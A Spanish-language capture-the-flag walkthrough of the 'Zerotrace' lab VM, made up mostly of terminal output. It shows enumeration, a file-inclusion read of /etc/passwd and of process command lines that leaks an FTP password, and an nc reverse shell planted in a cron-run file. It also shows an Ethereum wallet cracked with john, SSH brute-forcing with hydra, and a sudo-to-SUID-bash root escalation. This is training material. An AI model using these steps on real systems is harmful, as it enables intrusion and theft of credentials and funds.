

Zerotracer

```
└─(root㉿kali)-[/home/guel/Work]
# nmap -sS -p- -Pn -n -vvv --min-rate 5000 192.168.0.151
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-11 14:06 EDT
Initiating ARP Ping Scan at 14:06
Scanning 192.168.0.151 [1 port]
Completed ARP Ping Scan at 14:06, 0.09s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 14:06
Scanning 192.168.0.151 [65535 ports]
Discovered open port 80/tcp on 192.168.0.151
Discovered open port 22/tcp on 192.168.0.151
Increasing send delay for 192.168.0.151 from 0 to 5 due to 5086 out of 16
Increasing send delay for 192.168.0.151 from 5 to 10 due to 535 out of 17
Increasing send delay for 192.168.0.151 from 10 to 20 due to 2449 out of 32
Increasing send delay for 192.168.0.151 from 20 to 40 due to max_successful_scans
Discovered open port 8000/tcp on 192.168.0.151
Increasing send delay for 192.168.0.151 from 40 to 80 due to max_successful_scans
Increasing send delay for 192.168.0.151 from 80 to 160 due to max_successful_scans
Increasing send delay for 192.168.0.151 from 160 to 320 due to max_successful_scans
Increasing send delay for 192.168.0.151 from 320 to 640 due to max_successful_scans
Increasing send delay for 192.168.0.151 from 640 to 1000 due to max_successful_scans
Completed SYN Stealth Scan at 14:08, 79.18s elapsed (65535 total ports)
Nmap scan report for 192.168.0.151
Host is up, received arp-response (0.0027s latency).
Scanned at 2025-04-11 14:06:47 EDT for 79s
Not shown: 65532 closed tcp ports (reset)
PORT      STATE SERVICE REASON
22/tcp    open  ssh     syn-ack ttl 64
80/tcp    open  http    syn-ack ttl 64
8000/tcp  open  http-alt syn-ack ttl 64
MAC Address: 08:00:27:AA:5B:3C (PCS Systemtechnik/Oracle VirtualBox virtual machine)


```

-sCSV

```

PORT      STATE SERVICE REASON      VERSION
22/tcp    open  ssh    syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
|   256 a9:a8:52:f3:cd:ec:0d:5b:5f:f3:af:5b:3c:db:76:b6 (ECDSA)
|   ecdsa-sha2-nistp256 AAAAE2VjZHNhLXN0YTItbmlzdHAyNTYAAAIBmlzdHAyNTYAAABBIzUvG0aZF4gJoYBGR4NrMZ0j32x98u
1kwk=
|   256 73:f5:8e:44:0c:b9:0a:e0:e7:31:0c:04:ac:7e:ff:fd (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPrNZ9Qg+cgX4w0wabsDTAVeo9/VWThsF5efc20zsFo
80/tcp    open  http   syn-ack ttl 64 nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Massively by HTML5 UP
8000/tcp  open  ftp    syn-ack ttl 64 pyftpdlib 1.5.7
|_ftp-syst:
|_ STAT:
| FTP server status:
| Connected to: 192.168.0.151:8000
| Waiting for username.
| TYPE: ASCII; STRUCTure: File; MODE: Stream
| Data connection closed.
|_End of status.
MAC Address: 08:00:27:AA:5B:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning

```

```

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Increasing send delay for 192.168.0.151 from 5 to 10 due to 535 out of 17000
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8000/tcp  open  http-alt syn-ack ttl 64
MAC Address: 08:00:27:AA:5B:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

```

```
[root@kali:~/home/guel/Work]
# whatweb 192.168.0.151
http://192.168.0.151 [200 OK] Country[RESERVED][ZZ], Email[info@untitled.tld], HTML5, HTTPServer[nginx/1.22.1], IP[192.168.0.151], JQuery, Script, Title[Massively by HTML5 UP], nginx[1.22.1]
```

```
[root@kali:~/home/guel/Work]
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u http://192.168.0.151/ -x php,txt,html
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://192.168.0.151/
[+] Method:       GET
[+] Threads:      10
[+] Threads:      /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
[+] Threads:      404
[+] User Agent:   gobuster/3.6
[+] Extensions:  php,txt,html
[+] Timeout:      10s
Starting gobuster in directory enumeration mode
=====
/LICENSE.txt      (Status: 200) [Size: 17128]
/index.html       (Status: 200) [Size: 9120]
/.htaccess        (Status: 403) [Size: 153]
/.htaccess.txt    (Status: 403) [Size: 153]
/.htaccess.html   (Status: 403) [Size: 153]
/..
/.html            (Status: 200) [Size: 9120]
/.html            (Status: 403) [Size: 153]
/.html.txt        (Status: 403) [Size: 153]
/.html.html       (Status: 403) [Size: 153]
/README.txt       (Status: 200) [Size: 930]
/.htpasswd        (Status: 403) [Size: 153]
/.htpasswd.html   (Status: 403) [Size: 153]
/.htpasswd.txt    (Status: 403) [Size: 153]
/.htm              (Status: 403) [Size: 153]
/.htm.txt         (Status: 403) [Size: 153]
/.htm.html        (Status: 403) [Size: 153]
/.htpasswdds      (Status: 403) [Size: 153]
/.htpasswdds.txt  (Status: 403) [Size: 153]
/.htpasswdds.html (Status: 403) [Size: 153]
/.admin            (Status: 301) [Size: 169] [→ http://192.168.0.151/.admin/]
Progress: 13430 / 148204 (9.06%)
```

```
[root@kali:~/home/guel/Work]
# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt -u http://192.168.0.151/.admin/ -x php,txt,html
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
[+] Url:          http://192.168.0.151/.admin/
[+] Method:       GET
[+] Threads:      10
[+] Threads:      /usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
[+] Threads:      404
[+] Negative Status codes: 404
```

```
/.htc              (Status: 403) [Size: 153]
/.htc.txt          (Status: 403) [Size: 153]
/.htc.html         (Status: 403) [Size: 153]
/tool.php          (Status: 200) [Size: 0]
/.htaccess.old     (Status: 403) [Size: 153]
/.htaccess.old.txt (Status: 403) [Size: 153]
/.htaccess.old.html (Status: 403) [Size: 153]
/.htacess           (Status: 403) [Size: 153]
/.htacess.txt       (Status: 403) [Size: 153]
```

```
(root㉿kali)-[~/home/guel]
# wfuzz -c --hw=0 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://192.168.0.151/.admin/tool.php?FUZZ=/etc/passwd'
/usr/lib/python3/dist-packages/wfuzz/_init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://192.168.0.151/.admin/tool.php?FUZZ=/etc/passwd
Total requests: 220560

ID      Response   Lines   Word    Chars   Payload
=====
000000760:  200       24 L     28 W    1163 Ch   "file"
```

```
← → ⌂ ⓘ 192.168.0.151/.admin/tool.php?file=/etc/passwd
[Kali Linux] [Kali Tools] [Kali Docs] [Kali Forums] [Kali NetHunter] [Exploit-DB] [Google Hacking DB] [OffSec] [PayloadsAllTheThings] [GTFOBins] [Hash Type Identifier] »
root@0-root:/root/bin/bash: deamon:1:daemon:~$ps aux|grep bin:2:bin:/bin/usr/sbin/nologin:grep x-3:3:sys:/dev/usr/sbin/nologin:sysc-x-4:65534:sysc/bin/joinvnc:quakes-x-5:60:names:usr/pnames:usr/sbin/nologin:names:6:12:man:var/run/uchrootman:usr/sbin/nologin:px:7:7:bin/var/spool/pwd:usr/sbin/nologin:mail:8:8-mail:/var/mail/usr/sbin/nologin:novxs-5:9:news:var/spool/news:usr/sbin/nologin:news:10:10:news:var/spool/news:usr/sbin/nologin:inetd-x-39:39:ircd:run/rccd:usr/sbin/nologin:apt:x-42:65534:::nonexistent:/usr/bin/nologin:nobody:x:65534:65534:nobody:nonexistent:/usr/sbin/nologin:systemd-network:x:998:998:system Network Management:/usr/sbin/nologin:irc:x-39:ircd:run/rccd:usr/sbin/nologin:sshd:x:101:65534:/run/sshd:usr/sbin/nologin sshd:x:101:65534:/run/sshd:usr/sbin/nologin l1l04567:x:1000:1000::/home/l1l04567:/bin/bash j4ckie0x17:x:1002:1002::,/home/j4ckie0x17:/bin/bash shellreddx:x:1003:1003:/home/shellreddx:/bin/bash
```

procesos de escritura de la linea de comandos

```
(root㉿kali)-[~/var/www/html]
# wfuzz -c --hw=0 -u 'http://192.168.0.151/.admin/tool.php?file=/proc/FUZZ/cmdline' -z range,1-1000
/usr/lib/python3/dist-packages/wfuzz/_init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
*****
* Wfuzz 3.1.0 - The Web Fuzzer
*****
Target: http://192.168.0.151/.admin/tool.php?file=/proc/FUZZ/cmdline
Total requests: 1000

ID      Response   Lines   Word    Chars   Payload
=====
000000001:  200       0 L     1 W     11 Ch   "1"
000000230:  200       0 L     1 W     27 Ch   "230"
000000205:  200       0 L     1 W     30 Ch   "205"
000000328:  200       0 L     1 W     140 Ch  "328"
000000439:  200       0 L     1 W     105 Ch  "439"
000000447:  200       0 L     1 W     28 Ch   "447"
000000463:  200       0 L     3 W     43 Ch   "463"
000000475:  200       0 L     3 W     49 Ch   "475"
000000474:  200       0 L     9 W     71 Ch   "474"
000000473:  200       0 L     8 W     56 Ch   "473"
000000454:  200       0 L    12 W    120 Ch  "454"
000000457:  200       0 L     1 W     109 Ch  "457"
000000438:  200       0 L     1 W     18 Ch   "438"
000000442:  200       0 L     4 W     78 Ch   "442"
000000443:  200       0 L     1 W     18 Ch   "443"

Total time: 2.633189
Processed Requests: 1000
```

```
← → ⌂ ⓘ 192.168.0.151/.admin/tool.php?file=/proc/454/cmdline
[Kali Linux] [Kali Tools] [Kali Docs] [Kali Forums] [Kali NetHunter] [Exploit-DB] [Google Hacking DB] [OffSec] [PayloadsAllTheThings] »
/bin/sh-cpython3 -m pyftplib -p 8000 -w -d /var/www/html/ -u J4ckie0x17 -P uhipiRnUBwAHaG.EkeN-oKUfozESUnx3zClxpuhAd
```

-u J4ckie0x17 -P uhipiRnUBwAHaG.EkeN-oKUfozESUnx3zClxpuhAd

```
└─(root㉿kali)-[~/home/guel/Work]
# ftp 192.168.0.151 8000
Connected to 192.168.0.151.
220 pyftplib 1.5.7 ready.
Name (192.168.0.151:guel): J4ckie0x17
331 Username ok, send password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||50851|).
125 Data connection already open. Transfer starting.
drwxr-xr-x  2 www-data www-data   4096 Mar 12 15:10 .admin
-rw-rw-r--  1 www-data www-data 17128 Mar  6 2022 LICENSE.txt
-rw-rw-r--  1 www-data www-data   930 Mar  6 2022 README.txt
drwxrwxr-x  6 www-data www-data  4096 Mar  6 2022 assets
-rw-rw-r--  1 www-data www-data 22072 Mar  6 2022 elements.html
-rw-rw-r--  1 www-data www-data  5918 Mar  6 2022 generic.html
drwxrwxr-x  2 www-data www-data  4096 Mar  6 2022 images
-rw-rw-r--  1 www-data www-data 9120 Mar  6 2022 index.html
226 Transfer complete.
ftp> pwd
Remote directory: /
ftp> 
```

```
Remote directory: /
ftp> put cmd.php
local: cmd.php remote: cmd.php
229 Entering extended passive mode (|||50667|).
550 Permission denied.
ftp> help
Commands may be abbreviated. Commands are:
```

```
└─(root㉿kali)-[~/home/guel/Work]
# ssh J4ckie0x17@192.168.0.151
The authenticity of host '192.168.0.151' can't be established.
ED25519 key fingerprint is SHA256:4K6G5c0oerBJXgd6BnT2Q3J+i/dOR4+6rQZf20TIk/U.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.0.151' (ED25519) to the list of known hosts.
J4ckie0x17@192.168.0.151's password:
J4ckie0x17@zerotrace:~$ id
uid=1002(J4ckie0x17) gid=1002(J4ckie0x17) grupos=1002(J4ckie0x17),100(users)
J4ckie0x17@zerotrace:~$ 
```

```
Remote directory: /
ftp> put cmd.php
local: cmd.php remote: cmd.php
229 Entering extended passive mode (|||50667|).
550 Permission denied.
ftp> help
Commands may be abbreviated. Commands are:
```

```
J4ckie0x17@zerotrace:~$ ls -la /opt
total 16
drwxr-xr-x  4 root      root      4096 mar 11 23:43 .
drwxr-xr-x 18 root      root      4096 feb 15 21:24 ..
drwx----- 3 shelldredd shelldredd 4096 mar 11 23:42 cryptovault
drwxrwxrwx  2 shelldredd shelldredd 4096 mar 12 16:00 .nobodyshouldreadthis
J4ckie0x17@zerotrace:~$
```

```
drwxrwxrwt  2 root root 4096 abr 11 17:36 .XIM-unix
J4ckie0x17@zerotrace:~$ ls -la /opt
total 16
drwxr-xr-x  4 root      root      4096 mar 11 23:43 .
drwxr-xr-x 18 root      root      4096 feb 15 21:24 ..
drwx----- 3 shelldredd shelldredd 4096 mar 11 23:42 cryptovault
drwxrwxrwx  2 shelldredd shelldredd 4096 mar 12 16:00 .nobodyshouldreadthis
J4ckie0x17@zerotrace:~$ cd /opt/
J4ckie0x17@zerotrace:/opt$ cd .nobodyshouldreadthis/
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ ls
destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ ls -la
total 12
drwxrwxrwx  2 shelldredd shelldredd 4096 mar 12 16:00 .
drwxr-xr-x  4 root      root      4096 mar 11 23:43 ..
-rwxrw-rw-  1 shelldredd shelldredd   92 mar 12 16:00 destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ cat destiny
I don't know where it (or they) will take me, but I will always know that Windows is trash.
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$
```

- **Isattr** : Verifica si un archivo tiene atributos especiales (como **immutable**).
 - **chattr** : Añade/elimina estos atributos.

```
chattr -i destiny # Elimina el atributo "immutable"
```

```
destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ cat destiny
I don't know where it (or they) will take me, but I will always know that Windows is trash.
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ ls -l destiny
-rwxr-w- 1 shelldredd shelldredd 92 mar 12 16:00 destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ lsattr destiny
--i-----e----- destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ echo "nc -e /bin/bash 192.168.0.36 443" > destiny
-bash: destiny: Operación no permitida
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ chattr -i destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ echo "nc -e /bin/bash 192.168.0.36 443" > destiny
J4ckie0x17@zerotrace:/opt/.nobodyshouldreadthis$ █
```

```
guel@kali:~ | root@kali:/home/guel/Work |  
└─(guel㉿kali)-[~]  
└─$ nc -lvpn 443  
listening on [any] 443 ...  
connect to [192.168.0.36] from (UNKNOWN) [192.168.0.151] 51410  
id  
uid=1003(shelldredd) gid=1003(shelldredd) grupos=1003(shelldredd)  
script /dev/null -c bash  
Script iniciado, el fichero de anotación de salida es '/dev/null'.  
shelldredd@zerotrace:~$ export TERM=xterm  
export TERM=xterm  
shelldredd@zerotrace:~$ ^Z  
zsh: suspended nc -lvpn 443  
  
└─(guel㉿kali)-[~]  
└─$ stty raw -echo;fg
```

```
shelldredd@zerotrace:/home/ll104567$ cd /opt/  
shelldredd@zerotrace:/opt$ ls -la  
total 16  
drwxr-xr-x 4 root      root      4096 mar 11 23:43 .  
drwxr-xr-x 18 root     root      4096 feb 15 21:24 ..  
drwx----- 3 shelldredd shelldredd 4096 mar 11 23:42 cryptovault  
drwxrwxrwx  2 shelldredd shelldredd 4096 abr 11 22:01 nobodysouldreadthis  
shelldredd@zerotrace:/opt$ cd cryptovault/  
shelldredd@zerotrace:/opt/cryptovault$ ls -la  
total 12  
drwx----- 3 shelldredd shelldredd 4096 mar 11 23:42 .  
drwxr-xr-x 4 root      root      4096 mar 11 23:43 ..  
drwx----- 2 shelldredd shelldredd 4096 mar 12 15:38 ll104567  
shelldredd@zerotrace:/opt/cryptovault$ cd ll104567/  
shelldredd@zerotrace:/opt/cryptovault/ll104567$ ls -la  
total 256  
drwx----- 2 shelldredd shelldredd 4096 mar 12 15:38 .  
drwx----- 3 shelldredd shelldredd 4096 mar 11 23:42 ..  
-rwx----- 1 shelldredd shelldredd 142 mar 11 23:45 notes.txt  
-rwx----- 1 shelldredd shelldredd 492 mar 11 23:43 secret  
-rw-r--r-- 1 shelldredd shelldredd 245179 mar 12 15:36 why.png  
shelldredd@zerotrace:/opt/cryptovault/ll104567$ cat notes.txt  
我要在这里写下我的愿望：  
  
在10秒内完成魔方  
  
让The Flash(闪电侠)跑得更慢  
  
在哔哩哔哩上达到1000个视频  
shelldredd@zerotrace:/opt/cryptovault/ll104567$ php -S 0.0.0.0:2323  
[Fri Apr 11 22:19:50 2025] PHP 8.2.26 Development Server (http://0.0.0.0:2323) started  
[Fri Apr 11 22:20:16 2025] 192.168.0.36:40880 Accepted  
[Fri Apr 11 22:20:16 2025] 192.168.0.36:40880 [200]: GET /secret  
[Fri Apr 11 22:20:16 2025] 192.168.0.36:40880 Closing  
[Fri Apr 11 22:20:22 2025] 192.168.0.36:40888 Accepted  
[Fri Apr 11 22:20:22 2025] 192.168.0.36:40888 [200]: GET /why.png  
[Fri Apr 11 22:20:23 2025] 192.168.0.36:40888 Closing
```

```

goel@kali: /root/kali/home/guel/Work
└─(root㉿kali)-[~/home/guel/Work]
    # cat secret
{"address":"2891efcaa457d4d4dc724c4fa015fe8be4e279e","crypto":{"cipher":"aes-128-ctr","ciphertext":"fee023fd8fcdb242b0ad4900de2d4614fa4be48887efbd6208a9beb65923df7","cipherparams":{"iv":"183f2ee51e68d818fe976daf18327d"}, "kdf":"scrypt","kdfparams":{"dklen":32,"n":262144,"p":1,"r":8,"salt":"abb71ccb91d0ec97831d49694bd80ce925c0204772fa6268ace1f73df97e3d71"},"mac":"4ed5177b17ad85eafad3dedc40a3c85914d18611c2cca079871a28487055892","id":"0c431e07-6087-4368-a973-ed3fb4ec5045","version":3}

└─(root㉿kali)-[~/home/guel/Work]
    # python3 /usr/share/john/ethereum2john.py secret > eth_hash.txt
WARNING: Upon successful password recovery, this hash format may expose your PRIVATE KEY. Do not share extracted hashes with any untrusted parties!
└─(root㉿kali)-[~/home/guel/Work]
    # cat eth_hash.txt
secret:$ethereum$*262144*81*abb71ccb91d0ec97831d49694bd80ce925c0204772fa6268ace1f73df97e3d71*fee023fd8fcdb242b0ad4900de2d4614fa4be48887efbd6208a9beb65923df7*4ed5177b17ad85eafad3dedc40a3c85914d18611c2cca079871a28487055892

└─(root㉿kali)-[~/home/guel/Work]
    #

```

El archivo `secret` que muestras contiene **una billetera (wallet) de criptomonedas en formato JSON**, específicamente compatible con estándares como los usados por **MetaMask, MyEtherWallet (MEW) o clientes de Ethereum**

luego de un rato largo...

```

└─(root㉿kali)-[~/home/guel/Work]
    # john eth_hash.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (ethereum, Ethereum Wallet [PBKDF2-SHA256/scrypt Keccak 128/128 SSE2 4x])
Cost 1 (iteration count) is 262144 for all loaded hashes
Cost 2 (kdf [0:PBKDF2-SHA256 1:scrypt 2:PBKDF2-SHA256 presale]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:09:26 0.02% (ETA: 2025-05-25 04:38) 0g/s 4.713p/s 4.713c/s 4.713C/s joaquin..nugget
0g 0:00:09:30 0.02% (ETA: 2025-05-25 06:10) 0g/s 4.715p/s 4.715c/s 4.715C/s my3kids..papamama
dragonballz      (secret)
1g 0:00:11:24 DONE (2025-04-11 16:39) 0.001460g/s 4.675p/s 4.675c/s 4.675C/s fireman..imissu
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

```

drwxr-x— 4 ll104567 shelldredd 4096 mar 12 18:12 .
drwxr-xr-x 5 root      root      4096 mar 11 23:39 ..
lrwxrwxrwx 1 root      root      9 mar  5 21:31 .bash_history → /dev/null
-rw-r--r-- 1 ll104567 ll104567 220 abr 23 2023 .bash_logout
-rw-r--r-- 1 ll104567 ll104567 3523 mar 11 21:29 .bashrc
-rwxrwxr-x 1 root      root     322 mar 12 18:12 guessme
drwxr-xr-x 3 ll104567 ll104567 4096 mar  5 21:18 .local
-rw-r--r-- 1 ll104567 ll104567 176 mar 12 15:50 one
-rw-r--r-- 1 ll104567 ll104567 807 abr 23 2023 .profile
-rw-r--r-- 1 ll104567 ll104567 66 mar 11 21:15 .selected_editor
drwx—— 2 ll104567 ll104567 4096 mar 12 00:05 .ssh
-rw-r—— 1 ll104567 ll104567 33 mar 12 16:18 user.txt
shelldredd@zerotrace:/home/ll104567$ cat one
Why don't we join two universes and see who's the strongest?

saitama
genos
mumen
speed-o
fubuki
bang
tatsumaki
boros
drkuseno
onepunchman
karin
zombieman
childemperor
stinger
shelldredd@zerotrace:/home/ll104567$ █

```

```

└─(root㉿kali)-[/home/guel/Work]
└# hydra -l ll104567 -P pass ssh://192.168.0.151 -V -f
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations,
binding, these ** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-11 17:02:47
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 14 tasks per 1 server, overall 14 tasks, 14 login tries (l:1/p:14), ~1 try per task
[DATA] attacking ssh://192.168.0.151:22/
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzsaitama" - 1 of 14 [child 0] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzgenos" - 2 of 14 [child 1] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzmumen" - 3 of 14 [child 2] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzspeed-o" - 4 of 14 [child 3] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzfubuki" - 5 of 14 [child 4] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzbang" - 6 of 14 [child 5] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballztatsumaki" - 7 of 14 [child 6] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzboros" - 8 of 14 [child 7] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzdrkuseno" - 9 of 14 [child 8] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzonepunchman" - 10 of 14 [child 9] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzkarin" - 11 of 14 [child 10] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzzombieman" - 12 of 14 [child 11] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzchildemperor" - 13 of 14 [child 12] (0/0)
[ATTEMPT] target 192.168.0.151 - login "ll104567" - pass "dragonballzsstinger" - 14 of 14 [child 13] (0/0)
[22][ssh] host: 192.168.0.151 login: ll104567 password: dragonballzonepunchman
[STATUS] attack finished for 192.168.0.151 (valid pair found)
1 of 1 target successfully completed, 1 valid password found

```

```
[root@kali]~[~/home/guel/Work]
# ssh ll104567@192.168.0.151
ll104567@192.168.0.151's password:
ll104567@zerotrace:~$ id
uid=1000(ll104567) gid=1000(ll104567) grupos=1000(ll104567)
ll104567@zerotrace:~$ whoami
ll104567
ll104567@zerotrace:~$
```

¿Por qué cambiar el nombre del archivo (`guessme`) te permite sobrescribirlo?

El truco funciona debido a **cómo Linux maneja los permisos de archivos y directorios**, combinado con una mala configuración de `sudo`

```
ll104567@zerotrace:~$ mv guessme whocares
```

```
ll104567@zerotrace:~$ ls
guessme one user.txt whocares
ll104567@zerotrace:~$ cat guessme
cp /bin/bash /tmp/shellSuid;chmod +s /tmp/shellSuid
ll104567@zerotrace:~$ sudo /bin/bash /home/ll104567/guessme
ll104567@zerotrace:~$ /tmp/s
shellSuid
systemd-private-a5de6c63d1b64cf381cdd9583f97eb8e-systemd-logind.service-fcG1UU/
ll104567@zerotrace:~$ /tmp/shellSuid -p
shellSuid-5.2# id
uid=1000(ll104567) gid=1000(ll104567) euid=0(root) egid=0(root) grupos=0(root),1000(ll104567)
shellSuid-5.2# whoami
root
shellSuid-5.2#
```